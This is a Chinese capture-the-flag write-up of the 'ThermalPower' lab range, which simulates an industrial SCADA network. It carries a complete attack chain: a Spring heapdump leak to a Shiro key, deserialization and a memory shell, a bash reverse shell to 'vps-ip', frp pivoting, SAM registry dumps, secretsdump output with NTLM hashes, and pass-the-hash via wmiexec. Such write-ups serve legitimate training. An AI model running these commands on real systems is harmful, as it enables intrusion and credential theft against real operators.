春秋云境-ThermalPower
heapdump泄露&shiro反序列化
网盘给了两个附件,一个是encryptedAesKey
另一个是privateKey
,暂时不知道有什么用
1
| .\fscan64.exe -h 121.89.209.201 -p 1-65535
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| ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.2 start infoscan (icmp) Target 121.89.209.201 is alive [*] Icmp alive hosts len is: 1 121.89.209.201:22 open 121.89.209.201:8080 open [*] alive ports len is: 2 start vulscan [*] WebTitle: http://121.89.209.201:8080 code:302 len:0 title:None 跳转url: http://121.89.209.201:8080/login;jsessionid=D450A6CC0EA8C0701A49B38CA7BADCA8 [*] WebTitle: http://121.89.209.201:8080/login;jsessionid=D450A6CC0EA8C0701A49B38CA7BADCA8 code:200 len:2936 title:火 创能源监控画面管理平台 [+] http://121.89.209.201:8080 poc-yaml-spring-actuator-heapdump-file [+] http://121.89.209.201:8080 poc-yaml-springboot-env-unauth spring2 已完成 0/2 [-] ssh 121.89.209.201:22 root root123 ssh: handshake failed: ssh: unable to authenticate, attempted methods
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8080端口有个jsessionid=xxx
,推测有shiro框架
同时fscan扫出来个heapdump-file泄露的poc
Spring boot 1.x版本,默认端点为/heapdump
Spring boot 2.x版本,默认端点为/Actuator/heapdump或/actuator/heapdump
发现泄露路径在:8080/actuator/heapdump
JDumpSpider梭一下
1
| java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump > 1.txt
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| CookieRememberMeManager(ShiroKey) ------------- algMode = CBC, key = QZYysgMYhG6/CzIJlVpR2g==, algName = AES
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然后shiro利用工具直接打
直接写入哥斯拉内存马,再反弹shell
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| bash -c "bash -i >&/dev/tcp/vps-ip/7777 0>&1" pwncat-cs -p 7777
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直接就是root权限,不用提权
内网信息收集&搭建代理
传frp和fscan
扫一下内网
1
| ./fscan_amd64 -h 172.22.17.213/24
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1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.2 start infoscan (icmp) Target 172.22.17.6 is alive (icmp) Target 172.22.17.213 is alive [*] Icmp alive hosts len is: 2 172.22.17.6:21 open 172.22.17.213:8080 open 172.22.17.6:445 open 172.22.17.6:139 open 172.22.17.6:135 open 172.22.17.6:80 open 172.22.17.213:22 open [*] alive ports len is: 7 start vulscan [*] NetBios: 172.22.17.6 WORKGROUP\WIN-ENGINEER [*] WebTitle: http://172.22.17.213:8080 code:302 len:0 title:None 跳转url: http://172.22.17.213:8080/login;jsessionid=F0707AAF2E8E7F4ECE2893F47D09FB8C [*] NetInfo: [*]172.22.17.6 [->]WIN-ENGINEER [->]172.22.17.6 [+] ftp://172.22.17.6:21:anonymous [->]Modbus [->]PLC [->]web.config [->]WinCC [->]内部软件 [->]火创能源内部资料 [*] WebTitle: http://172.22.17.213:8080/login;jsessionid=F0707AAF2E8E7F4ECE2893F47D09FB8C code:200 len:2936 title:火创能源监控画面管理平台 [*] WebTitle: http://172.22.17.6 code:200 len:661 title:172.22.17.6 - / [+] http://172.22.17.213:8080 poc-yaml-spring-actuator-heapdump-file [+] http://172.22.17.213:8080 poc-yaml-springboot-env-unauth spring2
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扫出来个ftp匿名登录172.22.17.6
搭一下代理
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| ./frps -c ./frps.toml // vps ./frpc -c ./frpc.toml & // 受害机
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连上ftp,全部get下来
1
| proxychains4 ftp anonymous@172.22.17.6
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中文显示乱码,懒得解决了,window上用xftp连
直接访http://172.22.17.6/也可以
在/火创能源内部资料/SCADA.txt
得到
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| WIN-SCADA: 172.22.26.xx Username: Administrator Password: IYnT3GyCiy3
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扫一下26网段
1
| ./fscan_amd64 -h 172.22.26.0/24
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1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.2 start infoscan (icmp) Target 172.22.26.11 is alive [*] Icmp alive hosts len is: 1 172.22.26.11:1433 open 172.22.26.11:445 open 172.22.26.11:135 open 172.22.26.11:139 open 172.22.26.11:80 open [*] alive ports len is: 5 start vulscan [*] NetInfo: [*]172.22.26.11 [->]WIN-SCADA [->]172.22.26.11 [*] NetBios: 172.22.26.11 WORKGROUP\WIN-SCADA [+] mssql:172.22.26.11:1433:sa 123456 [*] WebTitle: http://172.22.26.11 code:200 len:703 title:IIS Windows Server 已完成 5/5 [*] 扫描结束,耗时: 5.664290742s
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只有172.22.26.11
这个ip那rdp的账户密码对应的就是这个了
依旧是不需要提权
点击锅炉开,就有flag
解密加密文件
桌面有个ScadaDB.sql.locky
文件,应该就是被加密的文件,而题目给的两个key应该是要用来解密的
encryptedAesKey
1
| lFmBs4qEhrqJJDIZ6PXvOyckwF/sqPUXzMM/IzLM/MHu9UhAB3rW/XBBoVxRmmASQEKrmFZLxliXq789vTX5AYNFcvKlwF6+Y7vkeKMOANMczPWT8UU5UcGi6PQLsgkP3m+Q26ZD9vKRkVM5964hJLVzogAUHoyC8bUAwDoNc7g=
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privateKey
1
| <RSAKeyValue><Modulus>uoL2CAaVtMVp7b4/Ifcex2Artuu2tvtBO25JdMwAneu6gEPCrQvDyswebchA1LnV3e+OJV5kHxFTp/diIzSnmnhUmfZjYrshZSLGm1fTwcRrL6YYVsfVZG/4ULSDURfAihyN1HILP/WqCquu1oWo0CdxowMsZpMDPodqzHcFCxE=</Modulus><Exponent>AQAB</Exponent><P>2RPqaofcJ/phIp3QFCEyi0kj0FZRQmmWmiAmg/C0MyeX255mej8Isg0vws9PNP3RLLj25O1pbIJ+fqwWfUEmFw==</P><Q>2/QGgIpqpxODaJLQvjS8xnU8NvxMlk110LSUnfAh/E6wB/XUc89HhWMqh4sGo/LAX0n94dcZ4vLMpzbkVfy5Fw==</Q><DP>ulK51o6ejUH/tfK281A7TgqNTvmH7fUra0dFR+KHCZFmav9e/na0Q//FivTeC6IAtN5eLMkKwDSR1rBm7UPKKQ==</DP><DQ>PO2J541wIbvsCMmyfR3KtQbAmVKmPHRUkG2VRXLBV0zMwke8hCAE5dQkcct3GW8jDsJGS4r0JsOvIRq5gYAyHQ==</DQ><InverseQ>JS2ttB0WJm223plhJQrWqSvs9LdEeTd8cgNWoyTkMOkYIieRTRko/RuXufgxppl4bL9RRTI8e8tkHoPzNLK4bA==</InverseQ><D>tuLJ687BJ5RYraZac6zFQo178A8siDrRmTwozV1o0XGf3DwVfefGYmpLAC1X3QAoxUosoVnwZUJxPIfodEsieDoxRqVxMCcKbJK3nwMdAKov6BpxGUloALlxTi6OImT6w/roTW9OK6vlF54o5U/4DnQNUM6ss/2/CMM/EgM9vz0=</D></RSAKeyValue>
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把XML转成PEM格式https://www.ssleye.com/ssltool/pem_xml.html
得到
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| -----BEGIN PRIVATE KEY----- MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALqC9ggGlbTFae2+ PyH3HsdgK7brtrb7QTtuSXTMAJ3ruoBDwq0Lw8rMHm3IQNS51d3vjiVeZB8RU6f3 YiM0p5p4VJn2Y2K7IWUixptX08HEay+mGFbH1WRv+FC0g1EXwIocjdRyCz/1qgqr rtaFqNAncaMDLGaTAz6Hasx3BQsRAgMBAAECgYEAtuLJ687BJ5RYraZac6zFQo17 8A8siDrRmTwozV1o0XGf3DwVfefGYmpLAC1X3QAoxUosoVnwZUJxPIfodEsieDox RqVxMCcKbJK3nwMdAKov6BpxGUloALlxTi6OImT6w/roTW9OK6vlF54o5U/4DnQN UM6ss/2/CMM/EgM9vz0CQQDZE+pqh9wn+mEindAUITKLSSPQVlFCaZaaICaD8LQz J5fbnmZ6PwiyDS/Cz080/dEsuPbk7Wlsgn5+rBZ9QSYXAkEA2/QGgIpqpxODaJLQ vjS8xnU8NvxMlk110LSUnfAh/E6wB/XUc89HhWMqh4sGo/LAX0n94dcZ4vLMpzbk Vfy5FwJBALpSudaOno1B/7XytvNQO04KjU75h+31K2tHRUfihwmRZmr/Xv52tEP/ xYr03guiALTeXizJCsA0kdawZu1DyikCQDztieeNcCG77AjJsn0dyrUGwJlSpjx0 VJBtlUVywVdMzMJHvIQgBOXUJHHLdxlvIw7CRkuK9CbDryEauYGAMh0CQCUtrbQd FiZttt6ZYSUK1qkr7PS3RHk3fHIDVqMk5DDpGCInkU0ZKP0bl7n4MaaZeGy/UUUy PHvLZB6D8zSyuGw= -----END PRIVATE KEY-----
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ToolsFx中rsa解密一下
1
| cli9gqXpTrm7CPMcdP9TSmVSzXVgSb3jrW+AakS7azk=
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被加密的文件前16个字节为
1
| b93c6285219539e5c5005aaa3ab0bf6c
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将其作为iv,解密成功解密文件
查看结果得到flag
而关于为什么iv是被加密文件的前16个字节,其实是靠逆那个C盘找到的加密程序(.net编写,需要用dnSpy 分析程序)找到的加密流程:https://xz.aliyun.com/t/14088
接管 SCADA 工程师的个人 PC
在之前那些ftp下载下来的文件中翻到
而有个excel内部员工通讯录表格,记录这账户、工号还有电话
发现职位为“SCADA 工程师”的人员账号密码都能 RDP 登录172.22.17.6
,例如
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| chenhua@0813 zhaoli@0821
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| whoami /groups
组信息 -----------------
组名 类型 SID 属性 ====================================== ====== ============ ============================== Everyone 已知组 S-1-1-0 必需的组, 启用于默认, 启用的组 BUILTIN\Backup Operators 别名 S-1-5-32-551 只用于拒绝的组 BUILTIN\Remote Desktop Users 别名 S-1-5-32-555 必需的组, 启用于默认, 启用的组 BUILTIN\Users 别名 S-1-5-32-545 必需的组, 启用于默认, 启用的组 NT AUTHORITY\REMOTE INTERACTIVE LOGON 已知组 S-1-5-14 必需的组, 启用于默认, 启用的组 NT AUTHORITY\INTERACTIVE 已知组 S-1-5-4 必需的组, 启用于默认, 启用的组 NT AUTHORITY\Authenticated Users 已知组 S-1-5-11 必需的组, 启用于默认, 启用的组 NT AUTHORITY\This Organization 已知组 S-1-5-15 必需的组, 启用于默认, 启用的组 NT AUTHORITY\本地帐户 已知组 S-1-5-113 必需的组, 启用于默认, 启用的组 LOCAL 已知组 S-1-2-0 必需的组, 启用于默认, 启用的组 NT AUTHORITY\NTLM Authentication 已知组 S-1-5-64-10 必需的组, 启用于默认, 启用的组 Mandatory Label\Medium Mandatory Level 标签 S-1-16-8192
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可以看到该用户在Backup Operators组内
可以用它来提权
但
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| 特权信息 ----------------------
特权名 描述 状态 ============================= ============== ====== SeChangeNotifyPrivilege 绕过遍历检查 已启用 SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用
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却没有对应的权限
1 2
| SeBackupPrivilege 备份文件和目录 已禁用 SeRestorePrivilege 还原文件和目录 已禁用
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看别人wp是有的
因此只能找别的办法了(应该环境问题)
先记录一下Backup Operators提权方式
脚本:https://github.com/k4sth4/SeBackupPrivilege
打开powershell
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| cd Desktop Import-Module .\SeBackupPrivilegeUtils.dll Import-Module .\SeBackupPrivilegeCmdLets.dll Set-SeBackupPrivilege Get-SeBackupPrivilege Copy-FileSeBackupPrivilege C:\Users\Administrator\flag\flag02.txt C:\Users\chenhua\Desktop\flag02.txt -Overwrite
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注册表 SAM 转储
也不行,重启环境就可以了
发现不需要特权即可以成功导出 sam 和 system
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| cd C:\ mkdir Temp cd C:\Temp reg save hklm\sam c:\Temp\sam reg save hklm\system c:\Temp\system
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本地解密
1
| python secretsdump.py -sam sam -system system LOCAL
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| DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a2fa2853651307ab9936cc95c0e0acf5::: chentao:1000:aad3b435b51404eeaad3b435b51404ee:47466010c82da0b75328192959da3658::: zhaoli:1001:aad3b435b51404eeaad3b435b51404ee:2b83822caab67ef07b614d05fd72e215::: wangning:1002:aad3b435b51404eeaad3b435b51404ee:3c52d89c176321511ec686d6c05770e3::: zhangling:1003:aad3b435b51404eeaad3b435b51404ee:8349a4c5dd1bdcbc5a14333dd13d9f81::: zhangying:1004:aad3b435b51404eeaad3b435b51404ee:8497fa5480a163cb7817f23a8525be7d::: lilong:1005:aad3b435b51404eeaad3b435b51404ee:c3612c48cf829d1149f7a4e3ef4acb8a::: liyumei:1006:aad3b435b51404eeaad3b435b51404ee:63ddcde0fa219c75e48e2cba6ea8c471::: wangzhiqiang:1007:aad3b435b51404eeaad3b435b51404ee:5a661f54da156dc93a5b546ea143ea07::: zhouyong:1008:aad3b435b51404eeaad3b435b51404ee:5d49bf647380720b9f6a15dbc3ffe432:::
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pth就行了
1
| proxychains4 python wmiexec.py administrator@172.22.17.6 -hashes :f82292b7ac79b05d5b0e3d302bd0d279 -codec gbk
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